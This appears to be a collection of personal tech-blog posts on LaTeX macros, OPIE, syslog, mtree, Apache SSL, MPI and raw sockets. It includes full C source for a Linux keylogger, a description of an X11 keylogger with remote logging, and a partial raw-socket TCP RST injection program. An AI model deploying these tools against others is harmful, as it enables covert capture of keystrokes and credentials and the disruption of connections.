|[▪]----▪--▪---- |----▪--▪-----▪---- |----▪-----▪- 
|----▪--▪•----▪- |[▪]-▪•----▪------- |-▪-----▪--▪- 
|-▪-----▪-----▪- |----▪-----▪-----▪- |-▪-----▪--▪• 
|-▪•----▪-----▪- |----▪-----▪--▪---- |-▪--▪-----▪- 
|-▪-----▪-----▪- |----▪-----▪--▪•--- |-▪--▪•----▪- 

Conclusion: If you learn the 7 finger position diagrams by heart, you can play every mode and every scale on every fret you can possibly imagine. It really works!

You can download Fig. 1 as PDF here.

As scientist, there is no way around LaTeX. There is a good reason for this: LaTeX does your typesetting in a professional manner and is easy to use. However, especially when designing a slideset, I'm not actually comfortable with countless begin/end nestings like:

\begin{frame}[allowpagebreak]
   \frametitle{Catchy title in here}
   \begin{columns}
      \column{0.7\textwidth}
         \begin{itemize}
            \item Char-count for this slide: 400
         \end{itemize}
      \column{0.3\textwidth}
         \begin{figure}[H]
            \centering
               \includegraphics[width=14cm]{someimage.png}
            \caption{So much work to include an image}
            \label{fig:1}
         \end{figure}
   \end{columns}
\end{frame}

This is why I always do my own LaTeX templates. Hereby, you don't have to reinvent the wheel for achieving quite some success towards saving a lot of time: Simply wrap environments you use very often (and which require a lot of paperwork) into your own LaTeX commands.

Like this:

\newcommand{ \mydualpage }[4]{
   \begin{columns}
      \column{#1\textwidth}
         #3
      \column{#2\textwidth}
         #4
   \end{columns}
}

\newcommand{ \mylist }[1] {
   \begin{itemize}
   #1
   \end{itemize}
}

\newcommand{ \myfig }[4] {
   \begin{figure}[H]
      \centering
         \includegraphics[width=#2]{#1}
      \caption{#3}
      \label{#4}
   \end{figure}
}

\newcommand{ \myslide }[1]{
   \begin{frame}[allowpagebreak]
      \frametitle{#1}
   \end{frame}
}

Using these command definitions, the initial slide will be much less paperwork:

\myframe{Catchy title in here}{
  \mydualpage{0.7}{0.3}{
    \mylist{ \item Char-count for this slide: 170 }
  }{
    \myfig{someimage.png}{14cm}{Much less work}{fig:1}
  }
}

Yes, writing tons of \newcommand statements may be some work at the beginning, but once you established some notation you'll be happy to use it whenever you can.

The title already tells you everything. I got highly disappointed by virtually every blog engine I could find, so I wrote my own one, keeping it simple and stupid. 150 115 85 lines of Perl it is, no more, no less.

Some colleagues and me got our paper accepted at IWSHM11 in Stanford, going on just now. It's entitled Integration of data mining operations for structural health monitoring. It's available here.

Years ago, I implemented a prototype for an X11 keylogger, providing the advantage of not requiring root privileges to run. I decided to give the code another chance, did some refactoring work and implemented a couple of nice and hopefully useful features, including local logging to a file, and remote logging to a TCP port and to a webserver via HTTP GET requests.

It now has its own project on Launchpad where you can fetch the source and report bugs. Moreover, there are already prebuilt Ubuntu packages on one of my Launchpad PPAs for simple installation. The code is licensed under GPLv3.

Delta-Xi finally offers a DKIM public key DNS record, and adds an X-DKIM header signature to each outgoing message for easy verification.

Why? Mainly because GMail sucks. Their spam-filtering is acceptible, but completely intransparent, as quite everything concerning Google. For some reason, messages sent from DX are always put into the spam-folder on Gmail boxes without any comprehensible reason. (Note: Okay, maybe. There was a time, about 2008-2009, when the DX MTA entirely prevented accepting mails from or transmitting mails to GMaill, because I simply don't want to support their evil data-mining; maybe I annoyed Google? ;-).

Trustworthy mail providers take one of several ways in order to at least outline reasons for spam suspicion (e.g. via X-headers), but not Google.

The DKIM public key is:

"v=DKIM1\;g=*\;k=rsa\;t=y\;p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDQKK5YFLSVLyIQMZL90ZGwzSr1p3wjSw+7gbcaOfHqN3aLZbhdVtZnoojXgYQXu3sP601 KicRFzIu0lo24kKU0t44ptDzZoXSa9Rr7WR4MzFfZpYxdC23XxUT/RXkf3M5BcGB7C9wLLo+EC7AP6n+4CEC3FqzjBshmPJYjco3umwIDAQAB"

Finally, the sources of the Open AS Communication Gateway have made their way into public space. The proect aims to be an SMTP gateway for spam- and virus-scanning, which is entirely managed via a pretty web-frontend. It supports recipient maps, RBLs, greylisting, email-based quarantining, and much more.

It's available at Launchpad.

After two years of absence, I'm now back. I have been employed by an IT security company in Austria, where I took responsibility for one of the two main product lines: an SMTP gateway, mainly dealing with anti-spam technologies.

Finally, I decided to quit and go back to university where I got a job offer as Senior Scientist, and will subsequently work on my PhD.

The good news is, that the company's CEO has willingly decided to make the whole project open-source. The release date is soon to come, keep an eye open.

The thesis which served as basis for my Master's Degree in Networks & Security is now freely available for download here, and has been entitled Strong interface-independent authentication enforcement through commidity storage devices under GNU/Linux. The project's source-code is downloadable via this link, and represents the latest snapshot from the git repository. These documents and codes are delivered as-is.

An article from the DX maintainer about data recovery in Linux systems has recently been released in the german hakin9 print magazine 01/2009, covering file-system reconstruction, forensic imaging, string-analysis, file-carving, slack observation and more.

The direct successor to USBAuth (pam_usbauth) is called pam_usbng and represents a complete rewrite with many enhancements. It's much easier to get the module up and running, and offers new nice features. You may have a look to the project page here.

The paper according to this new release is found here as PDF.

Source-browsing is done at the SVN web interface. Sorry, SVN isn't available anymore.

As MySQL versions 4.1, 4.2 and early builds of 5.0 are vulnerable to a simple but devastating bug in the source code of the database server for which I couldn't find any exploit, here's a short description how to code it on your own.

You may have a look on the paper, as well as on the presentation slides.

The leader of the Backend Security Project of OWASP (Open Web Application Security Project), Carlo Pelliccioni, asked me for collaboration as he took a look into the Delta Xi MySQL hardening paper.

The resulting article (still under construction) can be found directly at OWASP.

I decided to take a look in hardening MySQL on Unix-like systems. The resulting paper includes some information about securing the operating system behind, secure local databases and network traffic by using cryptography and some other hints. The paper can be downloaded here.

Cryptographic routines and algorithms often rely on randomness, which is an essential fundament, especially in key-generation applications. This paper discusses how pseudo and real random numbers may be generated and how threatening unconcerness due to lack of entropy may seriously risk security. In addition, a brief overview of well-known and massively-used RNGs like Linux /dev/random are presented.

You may download the paper, as well as the presentation slides.

Most keylogging solutions deserve to be called as root-user; Userspace-Loggers as well as Kernelspace-Loggers. This simple piece of code shows you how you can use X11 to get a nice workaround for keylogging X-sessions.

There are generally two types of keyloggers under Linux. Firstly, the kernelspace keyloggers. Writing a kernelspace logger isn't that easy, and deserves skills in writing kernel code. Morover, running a kernel module still needs root access to the machine.

The second type of loggers are userspace keyloggers. Normally, the logging is done via io-Calls and catching interrupts; which can also be only done as root.

That's the reason why I tried to find a way to catch keys without root access and found a wonderful lovely hack (or "workaround"), making fun out of the mighty Xlib.

For some reason, the XGrabKey/XGrabKeyboard functions won't result in more than BadAccess Errors of Xorg. Fortunately, Xlib provides a function called XQueryKeymap(), which puts the whole keyboard status into a large 32-Byte character vector.

The code basically reruns the XQueryKeymap call infinitely and checks if changes have been recognized; if this is the case, check which key has been pressed, get the keycode, get the keysym and print out a human-readable representation of the key.

You may browse the source here. The project has been revised and moved to Launchpad. Get it here. Renewed in 2011.

An article about secure authentication systems has recently been released in the hakin9 print magazine, also covering USBAuth, which has been renewed and now also supports additional PIN-based hashed authentication for even more security.

Also a Gentoo E-Build is finally available, thanks to Hades for these patches. In about one month, I'll release a paper about Randomness in Cryptography, the needs and behaviours of strong cryptographic algorithms which rely on true randomness and how stary-eyed RNGs can defeat strong encipherment.

Update: The German article can now be freely downloaded here.

Due to contract issues, Delta Xi unfortunately had a downtime for about 6 days. These problems affected not only the HTTP/S service, but also SVN and the USBAuth space. Several updates are to be announced. Thanks to ph030, who's ideas about using USBAuth with non-usb memory devices (e.g. SD), some bug tracking and a Gentoo ebuild will flow into the main code within the next 3-4 weeks.

USBAuth has grown very fast, thank all users for reports, testing and feedback. I've put a lot of security-concerned stuff into the code, which makes USBAuth quite secure and ready for every-day use. The documentation, as well as the source and a Debian package of release 0.3 can be obtained from the USBAuth project site. Update: This information is obsolete, the project is now called usbng and available here.

The paper according to the DX article of symmetric mail cryptography is finally done. You may download the (German) paper here.

Security policies commonly don't fit the laziness of users and system administrators. You shouldn't be logged in as root directly, you shouldn't use short and unsafe passwords, and so on.

pam_usbauth.so let's you authenticate yourself on your system, passwordless with just having something like a "crypto USB device" plugged in - without additional uncommon hardware.

Update: You may also visit the project page for FAQ.

Crypto smartcards, as provided by the FSFE are a really great idea - passwordless authentication everywhere and for everything. But there are two big disadvantages: First, cryptographic smartcards can't be just "buyed and configured", but you have to choose a company providing them, and trust them.

Secondly, you need a smartcard reader - most laptops don't have a built-in smartcard reader, so you can't use them everywhere you want.

Here, the PAM plugin pam_usbauth.so gets the middle way: Whenever you have plugged in your local storage device (primary designed for USB-storage devices, but suitable for nearly every device), you'll get authenticated passwordless for every service (or PAM-suporting program) you would like to use.

The package also provides uapasswd, a client program which makes writing the configuration file and setting up an existing USB device much easier than doing it manually.

All configuration options (valid users, devices where keys are stored, etc) are defined in /etc/usbauth.conf. You can use every storage device, not only USB (e.g. SC, MC of CF cards). It's strongly recommended to set up a 1024k partition for the key(s) - nevertheless, the rest of your device is still accessable to use them as storage.

It can be obtained from svn.delta-xi.net, or via svn co svn://delta-xi.net/svn/pam_usbauth, and has to be compiled and installed via "make". Have fun! Sorry, SVN has been deactivated.

Notice: USB authentication isn't as secure as using smartcards, because USB storage devices doesn't have a built-in logic - so don't use it in really sensitive environment.

For more information, have a look at http://usbauth.sf.net the project page.

Passwords are a quite debatable way of authentification. Passwords can be sniffed and widely used with other services, if the same passwords are used on more than one service.

Biometrical identification is another form of authetication, but not quite suitable via remote access. An excellent standard is defined by s/Key. Read how to use this on Linux boxes...

s/Key defines how one time passwords are implement within a standard. The classical skeyinit command doesn't exist on Linux out of the box, but on this point, the OPIE (One-time password is everything) implementation of s/Key takes place.

First of all, we need OPIE. Debian etch currently provides opie-server as well as opie-client, which are both to be installed on the system.

The main idea is the following: The administrator creates an s/Key seed. By creating the seed, a password is used which builds the direct basis of the afterwards generaded one-time-passwords. When logging in via SSH remotely, the server tells the user which password numbers of which seed is needed for the current login.

The one time passwords are about six quite-readable English words, generated from the seed and the password number. So, we have to options at the client:

We can calculate the password by ourselves on the client. This option has two disadvantages: First, we need the seed-password given while initializing OPIE on the server, and second, of course we need a client with OPIE installed.

The second option is that the administrator gives out a list of passwords (let's say, 100), and we just give SSH the password it wants to hear.

Let's start, first install the software: apt-get install opie-client opie-server

Now, edit /etc/pam.d/ssh and comment out the line @include common-auth, which is replaced by the following lines:

auth sufficient pam_unix.so
auth sufficient pam_opie.so
auth required pam_deny.soA

Finally we have to tell SSH to use our OTPs, by editing /etc/ssh/sshd_config on the server: ChallangeResponseAuthentication yes

Now let's login:

# ssh user@host.tld
opt-md5 498 v38294 ext, Response:

SSH now tells us, which password it wants to hear. If we havn't printed out a password list, we can easily recalculate the password by typing the following command on a client (it's not relevant on which machine we do this; this can even be done on palmtops of cellphones):

$ opiekey 498 v38294

OPIE will ask for the password seed, given at the server, and finally returns the password string, something like this:

498: NICK FAY SEND BERT ALTO BANE

Type this password at the SSH login, and you're done. Capitilization is not relevant!

If you're the admin of the server and doesn't want to give the seed password to the users, just print out a list of passwords, counting down from 499:

$ opiekey -n 100 498 v38294

498 just tells OPIE the password-number to start with. This list can safely be given to your clients which need secure SSH accounts.

Syslogd is the friend of all administrators. No serious admin would miss taking a look in /var/log/* consistantly. Reading and working out log files is a very time consuming process, and even more complicated when administrating multiple server boxes.

This mini-howto shows you how to centralize your logs.

A typical Unix system has a wide range of important log files, such as:

/var/log/auth.log
/var/log/kern.log
/var/log/mail.log
/var/log/syslog
/var/log/messages

The file /etc/syslog.conf (or something similar) defines which facilties under which priorities are logged to which files on the system. But what if you have to administrate 15 server machines, running Postfix, Bind, vsftpd, Apache and so on? It's not an easy thing to come up with all the logs all the time.

One possible solution to this is centralized logging. So we have a logging server box, which takes all the logs of the other machines which are centralized and possibly compressed and encoded.

To do this, just rerun syslogd with the "-r" argument are tell you firewall(s) to pass through port 514, which syslogd listens for incoming logs.

On your client systems, you may want to change your syslog.conf to this:

*.* @logging-server

which tells syslog to send all logs to your server. But be careful where your syslogd is actually running, it should by no means be reachable from the outside world! Otherwise anyone could send data to port 514.

You may also make the box more secure by ssh-tunneling the logging traffic, even if it's only about the internal network.

The above example would route all the logs to your server, which of course is not the best option: Kernel-specific logs for example shouldn't be somewhere else than on the machine which actually runs the kernel.

Additionally, it may be a good idea to save the logs locally as well as remotely. Diff and/or sha512sum could help you to make sure everything is ok. Crackers often try to delete logs corresponding to their attack, but it's quite hard to do this on a remote machine. Always compare both versions if the same data integrity is given.

One and a half decades before, firewalls have had an exciting hype towards the whole Internet community. A few years later, numberous companies tried to get customers by releasing (partitally really obscure) security systems by calling them "Intrusion detection", then, again a few years later, "Intrusion prevention" and nowadays also prevention is not enough, but the software is called "Intrusion Reaction".

However, something like a host-based intrusion detection system can be established via a small FreeBSD tool called Mtree.

Mtree is a tool, which checks the filesystems integrity by watching for changes in the main system. If this is done regulary, a couple of rootkit-systems can be detected easily.

Mtree builds a database of what-ever filesystem you want, and stores the directory tree with all common file attributes and a hash-key of the objects in a file. This file is being checked against changes in succeeding mtree calls.

freebsd-mtree -c -K cksum -p /bin > /var/log/mtree_dump_`date`

This command build the tree for the /bin directory. Checking mtree against the whole root filesytem isn't the best point to start, because many files will change regulary, especially in /home and /var.

However, if treed against /etc, /bin/, /sbin, /usr, /boot and probably /lib you have a collections of fs-dumps which are not to be changed by anyone else than root.

By typing

freebsd-mtree < /var/log/mtree_dump*

the current filesystem is checked against the dump, and all changes are printed to the console. You can easily have a look on what's going on on your system, especially if some nasty tool has changed non-suspicious-looking programs like ls or ps, which are commonly abused by rootkits.

It's really worth a try, putting al mtree dumps in a SSH-tunneled SVN repository, which are automatically crond-checked nightly - you can even let mtree mail you all changes. Easy, isn't it?

I really missed to provide an SSL-certificate for HTTPS usage of Delta Xi. You can finally use the more secure access, via https://www.delta-xi.net.

Here is a short introduction how to create your own certificates and use them with Apache2.

What do you need? Most the distributed packages of Apache2 already have an SSL module installed. If not, just type ln -sf /etc/apache2/mods-available/ssl.load /etc/apache2/mods-enables/ssl.load && ln -sf /etc/apache2/mods-available/ssl.conf /etc/apache2/mods-enabled/ssl.conf.

Now you Apache should be ready to use certificates, which are to be created now. Make sure you have openssl installed on your system.

openssl genrsa -out server.key -aes128 1024
openssl req -new -key server.key -out server.csr

With these commands, we generate our server's private key as well as a certificate request for the server. This request is to be signed by an certificate authority. For our purpose, it's OK to sign the certificate by ourself.

openssl req -new -x509 -days 1460 -key server.key -out server.crt

Ok, your certificate is ready to use. We finally have to tell Apache2 to use it with HTTPS support. Just find the Virtual Host you want to be capable of SSL and add a few entries. The result will probably look something like this:

<VirtualHost xxx.xxx.xxx.xxx:443>
DocumentRoot /var/www/htdocs
SSLEngine On
SSLProtocol All -SSLv2
SSLCertificateFile /path/to/your/certificate.crt
SSLCertificateKeyFile /path/to/your/keyfile.key
</VirtualHost>

Two more lines in apache2.conf to tell Apache to Listen on port 443:

NameVirtualHost xxx.xxx.xxx.xxx:43
Listen *:443

Delta Xi now runs a subversion server. Please note that the published source codes are mostly proof-of-concept implementations, not real projects.

Everything is commonly public domain and GPLed, except for SMC (this one will be licensed under GPL in a few months). The web-interface can be accessed via the WebSVN interface. Enjoy!

Update: SVN isn't available anymore.

PGP is a wonderful tool. It implements asymmetric cryptography and allows everybody to send mails all over the world, in a very secure way. But asymmetric algorithms doesn't fit very well on users who don't have the knowledge about public and private keys.

I recently developed a tool called SMC, which is a proof-of-concept realization that secure mailing isn't limited to asymmetric cryptography...

The idea of asymmetric cryptography is simple: Let there be two keys instead of one; one for encoding and one for decoding data. When communicating with tools like PGP or GPG, every participant has his own keypair. One of those, the public key, is published on a server, comparable to a phonebook.

If Alice wants to mail Bob, she retrieves Bob's public key and encrypts the message with it. After encrypting, no one is able to decode the message except for Bob, because he's the only one who has the corresponding private key.

Simple idea, not-so-simple tool. Most people using e-mails, doesn't even know that a public key is (not worth mentioning how to create a keypair). This led me to trying out a symmetric mail client.

SMC is a tool, which realizes completely symmetric and secure mailing across the Net. It can be used with existing mail addresses and doesn't require the creation of any keys by hand.

The first mail sent, is a so-called invitation mail, where the recipient is asked if the he wants the sender to be able to add him to his contacts. Behind this invitation-process, the mail includes data, encoded with the SMC mail protocol.

In short, Diffie-Hellmann key-exchange is used to get the key to both participants on an insecure channel. An possible attacker Eve who is listing all the time, won't be able to crack the password. This can be mathematically proven due to the extremely compex problem of solving descrete logarithms.

When Bob responds to the invitation email, both parties are able to calculate the same 512bit key.

Further, each SMC-encoded message is secured by the Rijndael algorithm, the current Advanced Encryption Standard, proven by NIST. Beyond this, each message includes something like a symmetric digital signature, done by HMAC - a procedure which concatinates the plain text message with the key and computes a mathematical 160 bit one-way function (SHA).

This means that SMC can definitely proove (1) who has sent the message, and (2) that the message is integre. So, the sender can't claim that he didn't send the mail because he's the only one with the corresponding key. Besides, no one can modify the mail when it's on the Net - otherwise it will be detected and deleted.

The source is written in Perl for scientific use on the Johannes Kepler University of Linz. Enjoy!

Update: Sorry, this file isn't hosted anymore.

You're sitting in front of your box, but the screensaver is on because you're not actually working on it (even admins show the need for non-unix human requirements). In that case, just code your own keyboard LED handling routine, and let you what's going on on your system.

LEDs are present on virtually all keyboards. Especially the Scroll-Lock LED is commonly unused nowadays, so it's a good point to start hacking here.

When using all three LEDs, you're able to let the LEDs indicate eight different states (2 to the power of 3). But even when using just one diode, it's possible to indicate quite important system status messages - like in/outgoing traffic, or newly arrived IM messages.

The following code is a hack for X11/xorg, because most systems have X installed (otherwise you'd have to set the LEDs for every TTY). Before trying to compile, make sure you have libX11 and libXtst installed (including development files).

The program itself just fakes the X-server by simulating a key event from the keyboard, which has actually not been pressed.

To the simple code: We have to get a pointer to our X display at first. Then we start an infinite loop, where every LED (Capslock, Scrolllock and Numlock) is being activated for 200ms. Every LED call is to be done twice, one event for key-pressed and one for key-released. As a result, the three LEDs will change their status in a knight-rider like style.

If you want to be informed when ICQ messages arrive, the easiest way is to just figure out where to configure how to play sounds with your IM client. Psi as well as Licq for example offer options, which allow you to select an application to start when certain events occur (e.g. message received). Now just point this event-handling routines to your LED app.

Of course you can also make tcpdump check your router for new packets and inform your application which will change the LED status according to what tcpdump said.

Compile with gcc -I/usr/lib/X11R6/include -L/usr/X11R6/lib -lX11 -lXtst -o <file> <file.c>

/*
* Erik Sonnleitner, 2007 (esonn [at] gmx dot net)
* Linux keyboard LED status changer
* www.delta-xi.net
* */

#include <X11/extensions/XTest.h>
#include <X11/keysym.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main(int argc, char ** argv) {
    unsigned int keycode = 0, i = 0;
    Display* disp;

    for(;;){
        if (!(disp = XOpenDisplay(NULL)))
            { fprintf(stderr, "Error: Can't connect to X server!\n"); return EXIT_FAILURE; }

        if (keycode) {
            XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), True, CurrentTime);
            XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), False, CurrentTime);
        }

        if(++i >= 4)
            i = 1;

        switch(i){
            case(1): keycode = XK_Caps_Lock; break;
            case(2): keycode = XK_Num_Lock; break;
            case(3): keycode = XK_Scroll_Lock; break;
            default: keycode = 0;
        }


        XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), True, CurrentTime);
        XTestFakeKeyEvent(disp, XKeysymToKeycode(disp, keycode), False, CurrentTime);
        XCloseDisplay(disp);

        usleep(200000);
    }

    return EXIT_SUCCESS;

}

There is quite a wide range of keyloggers for Win32/64 operating systems, OSS as well as commercial ones. This fact differs on Linux boxes, but some administrative tasks deserve logging keyboard inputs (or at least, make them much easier). Here you'll read how to code your own logger.

To log your keyboard inputs you have basically two different options: Programming in userspace or in kernelspace. Writing kernel modules isn't that hard, but the kernel space provides much more (and mostly previously unseen by normal programmers) techniques for advanced programming.

Therefore I'll focus on userland programming. The basic idea is to grab the keyboard hardware I/O ports and copy everything which is buffered there. The results won't be ASCII characters like 'a' or 'z', but the kernel internal representation of different keys: The keycodes. Keycodes are numerical integer values, beginning with zero. Every key on your keyboard (except some strange multimedia functionalities, possibly) has its own keycode representation. This representation is more or less the same on every keyboard, irrelevant which language is offered.

Some keyboards provide special keys like the common fn-key on laptops as well es multimedia keys. Most of them also return keycode values, but nevertheless it's possible that no keycode is passed to the kernel when pressing these keys because the implementation of what to do when the key is pressed is done directly in the hardware (mostly seen on laptops).

As a result you need something like a conversion function, which does the mapping between keycode and the key which is meant (these differ, in dependence on linguistic layout of your keyboard). In my solution, the mapping is done by keymap.h which contains only one function (decode_key()). The use of a decode function is more a dirty hack than an industrial strength implementation, because every keyboard layout has to be coded and recompiled, so if you intend to use a keylogger in a more professional way you might want to write something like a config file interpreter, reading the keycode maps and their key mappings on different keyboards from an ASCII file.

Now let's have a look on the code. About line 28, we're trying to get the permission to read from the keyboard ports. We'll need two of them, the keyboard status port (0x64) and the port where the keys are sent to (0x60). These port numbers (ok, to be exact, we're talking about registers) are not Linux specific, but depend on Intel compatible architectures - so don't expect this to run on PPC. Note that we'll only get these permissions if we're starting the tool as root.

About lint 40, the main loop is defined. This infinite loop is executed every SLEEP_TIME milliseconds (1 by default), otherwise the routine would be called far too often. If a key is pressed, we'll grab the keycode (key = inb(P_KB)). You may notice that we only grab the keycode, if the keyboard status register returns 20 - that means that no other special keys are pressed (e.g. CTRL). If the code doesn't work for you that way, just comment out this if-statement and every combination will be logged. Before writing this code to our logfile, we need to check if the same keycode has been called shortly before, otherwise we'd spam the logfile exessively when pressing a key for more than a few millisedonds.

Finally, when writing to our log file, it needs to be flushed because the fclose() is outside our infinite loop (which isn't a programming style you should prefer, of course ;-). Now have fun logging your keys!

/*
* Erik Sonnleitner, 2007 (esonn [at] gmx dot ne)
* Linux userland keylogger
* www.delta-xi.net
* */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#include "keymap.h"

#define P_KB 0x60 /* -the- keyboard io port */
#define P_KB_STATUS 0x64 /* statusport */
#define SLEEP_TIME 500 /* time to wait in ms */

int main(int argc, char *argv[]) {
  int key = 0, lastkey;
  FILE *log;

  if(argc != 2) {
    fprintf(stderr, "Usage: %s <logfile>\n", argv[0]);
    return EXIT_FAILURE;
  }

  /* set the permissions for the port 0x60 and 0x64 (keyboard) */
  if (ioperm(P_KB,1,1) == -1 || ioperm(P_KB_STATUS, 1, 1) == -1) {
    fprintf(stderr, "Failed to set up IO permissions\n");
    return EXIT_FAILURE;
  }

  /* try to open logfile */
  if ((log = fopen(argv[1], "a")) == NULL) {
    fprintf(stderr, "Error opening given logfile %s\n", argv[1]);
    return EXIT_FAILURE;
  }

  /* main log routine */
  for(;; usleep(SLEEP_TIME)) {
    key = 0;
    if(inb(P_KB_STATUS) == 20)
      key = inb(P_KB); /*read key */

    if (key) {
      if (key != lastkey) {
        lastkey = key; /* prevent log spamming */

        if(decode_key(key)){ /* if key is known in keymap, write it */
          fprintf(log, "%c", decode_key(key));
          fflush(log);
        }
      }
    }
  }

  fclose(log);
  return EXIT_SUCCESS;
}

"Grand challenge" defines problems which are, at least theoretically, solvable with todays computational capacities - but not in a reasonable amount of time. Therefore, massivly paralleled processor systems are used to compute how atomic bombs distribute particles and get the weather forcast for tomorrow (and the day after tomorrow, and the day after the day after ...).

Programs are normally not SMP capable by dafault, you have to tell the program which processor has to do which work. The main challenges in this programming style are briefly shown here.

When writing programs which should be using multiple processors, the POSIX and ANSI library standards for Unix won't give you enough information how to tell the system which part of the program should run on which processor. The resource of choice is now an implementation library of OpenMPI, which would be e.g. MPICH or LAMPI. The following code segments will show how to work with MPICH.

First of all, you need to install the MPICH library and development headers for your favoured distribution.

Besides the necessary libraries MPI comes with two important executables: mpicc and mpirun. All programs should be compiled with mpicc, which is something like a precompiler for gcc. The applications are run with mpirun to coordinate the program structures with the processors. If programming on a single processor machine, mpirun forces to simulate multiple processors with using multiple processes.

The first step is to call MPI_init(&argc, &argv), to initialize the MPI environment with the given arguments to the program (which does not replace the standard main function). While coding, you don't necessarily have to know on how many processors the final program will be running on, therefore the function MPI_Comm_size(MPI_COMM_WOLD, &size) will retrieve the number of processors we're running on, and MPI_Comm_rank(MPI_COMM_WORLD, &rank) will determine the number of the actual CPU, the program is running on.

The most important thing is that the processes can communicate to each other, which is done by so-called message passing. There are quite a couple of functions for message sending and receiving, but the most commons are:

MPI_Send(*data, count, MPI_datatype, destination_processor, tag, MPI_COMM_WORLD).

*data: Pointer to the data we want to send.
count: Count how many times the given datatype size should be transfered (usable for arrays, e.g.).
MPI_datatype: This would be for example MPI_INT, MPI_FLOAT, etc.
destination_processor: The number of the processor (returned by MPI_rank().
tag: This is just an additional functionality to separate messages from others; should be an integer.
MPI_COMM_WORLD is defined after calling MPI_Init() and just determines the right processor space, so to say.

MPI_Recv(*data, count, MPI_datatype, destination_processor, tag, MPI_COMM_WORLD, *status)

The only difference between MPI_Send() is the last argument, *status. This structure is MPI_Status* typed, for getting additional status information about the received object.

That's it. What the following example does: We have 4 processors, and each of it gets its own random number. The goal is to find the global minimum number of all processors.

To compile this one, you have to type: mpicc -I/usr/lib/mpich/include -L/usr/lib/mpich/lib -lmpich -o <file> <file.c>

To run the code: mpirun -np 4 <file>

Note that the -np argument defines how much processors should be simulated with processes.

/*
* Erik Sonnleitner, 2007
* */

#include <stdio.h> /* printf and BUFSIZ defined there */
#include <stdlib.h> /* exit defined there */
#include <mpi.h> /* all MPI-2 functions defined there */

int main(argc, argv) int argc;

char *argv[]; {

  int rank, size, length;
  char name[BUFSIZ];

  int lmin = 0, gmin = 0, tmp = 0, i = 0, winner = 0;
  MPI_Status stat;

  MPI_Init(&argc, &argv);
  MPI_Comm_rank(MPI_COMM_WORLD, &rank);
  MPI_Comm_size(MPI_COMM_WORLD, &size);

  /* set +- random seed and force random numbers 0-2048 */
  srand(time(0) + rank*23);
  lmin = rand() >> 20;

  printf("Hello from process %d of %d -- my random # is %d\n", rank, size, lmin);

  gmin = lmin; /* suppose we have the global minimum for now */

  /* master gets all local minimum values */
  if(!rank) {
    for(i = 1; i < size; i++){
      MPI_Recv(&tmp, 1, MPI_INT, i, 0, MPI_COMM_WORLD, &stat);
      if(tmp < gmin){
        gmin = tmp;
        winner = i;
      }
    }

    printf("[master] I think the global minimum is %d, and the winner is %d\n", gmin, winner);

    for(i = 1; i < size; i++){
      MPI_Send(&gmin, 1, MPI_INT, i, 0, MPI_COMM_WORLD);
      MPI_Send(&winner, 1, MPI_INT, i, 0, MPI_COMM_WORLD);
    }
  }

  /* all but the master process should send their number to master */
  if (rank){
    MPI_Send(&lmin, 1, MPI_INT, 0, 0, MPI_COMM_WORLD);
    MPI_Recv(&gmin, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &stat);
    MPI_Recv(&winner, 1, MPI_INT, 0, 0, MPI_COMM_WORLD, &stat);
    printf("Process %d: I think the global minimum is %d from process %d\n", rank, gmin, winner);
  }

  MPI_Finalize();
  exit(EXIT_SUCCESS);
}

What I'm doing here is simple: All processes (we could do this easily so that the algorithm isn't limited to four processors, of course) send their number to the master processors, initially the zero-ranked CPU. The master checks which is the lowest value and resends the global minimum to all processes.

Most people ask why they should use raw sockets nowadays. The answer is: There is no reason. At least, for most programming purposes. On the other hand, raw sockets offer a wonderful method for writing own packets of OSI layers 3 (network) and 4 (transport).

Writing sniffers, scanners, injection tools as well as TCP connection resetters isn't difficult, like shown in this mini-howto.

When programming POSIX sockets, you normally force to use SOCK_STREAM for TCP connections or SOCK_DGRAM for stateless UDP packets. However, there are severel reasons not to use these protocols.

When debugging TCP connections, also SOCK_STREAM won't give you information about layer 4 headers, because the kernel will decompile received packets and is only willing to return the payload. This means, that also sniffer programming deserves (at least) SOCK_RAW.

Besides SOCK_STREAM and SOCK_DGRAM, there are two more options available: SOCK_RAW and SOCK_PACKET.

SOCK_RAW allows you to build your own IP- and TCP/UDP packets. SOCK_PACKET again deepens the OSI model, providing the ability of writing layer 2 (data link layer) packets. Because these are not routable, it's far less interesting.

Let's have a look at SOCK_RAW. The following source code will show you how to implement a minimalistic sniffing tool, capturing TCP connections:

int fd = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
char buffer[LEN]; int count = 0, LEN = 8192;
while (read (fd, buffer, LEN) > 0)
 printf ("%d%s\n", ++count, buffer)

This code would also work when using SOCK_STREAM, but the buffer we'll printing won't have the TCP header information within.

The next step will be to create our own IP-based packets. The following code will realize a program which takes source- and destination IP addresses, and tries to send RST packets at predefined ports to the given host. This is useful for TCP connection interruption.

/*
* Raw IP/TCP packet construction example
* Erik Sonnleitner, 2007
* */

#define __USE_BSD
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#define __FAVOR_BSD
#include <netinet/tcp.h>
#include <sys/types.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>

#define SPORT 3748
#define DPORT 48117
#define IPID 3728
#define LENGTH 4096

/* Prototypes */
unsigned short csum (unsigned short *buf, int nwords);

/* main routine */
int main (int argc, char ** argv) {
   int one = 1;
   long count = 0;
   const int *val = &one;

   if(argc != 3) {
      fprintf(stderr, "No argument given. Usage: %s <destination ip> <source ip>\n", argv[0]);
      exit(1);
   }

   /* open raw socket */
   int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);

   /* our packet - containing IP & TCP header*/
   char packet[LENGTH];

   struct ip *iph = (struct ip *) packet;
   struct tcphdr *tcph = (struct tcphdr *) packet + sizeof (struct ip);
   struct sockaddr_in sin;

   /* set destination IP and port (and finally clean buffer) */
   sin.sin_family = AF_INET;
   sin.sin_port = htons (DPORT);
   sin.sin_addr.s_addr = inet_addr (argv[1]);
   memset (packet, 0, LENGTH);


   /* build IP packet header */
   iph->ip_hl = 5;  /* Header length */
   iph->ip_v = 4;   /* IP protocol version */
   iph->ip_tos = 0; /* Type of service*/
   iph->ip_len = sizeof (struct ip) + sizeof (struct tcphdr);

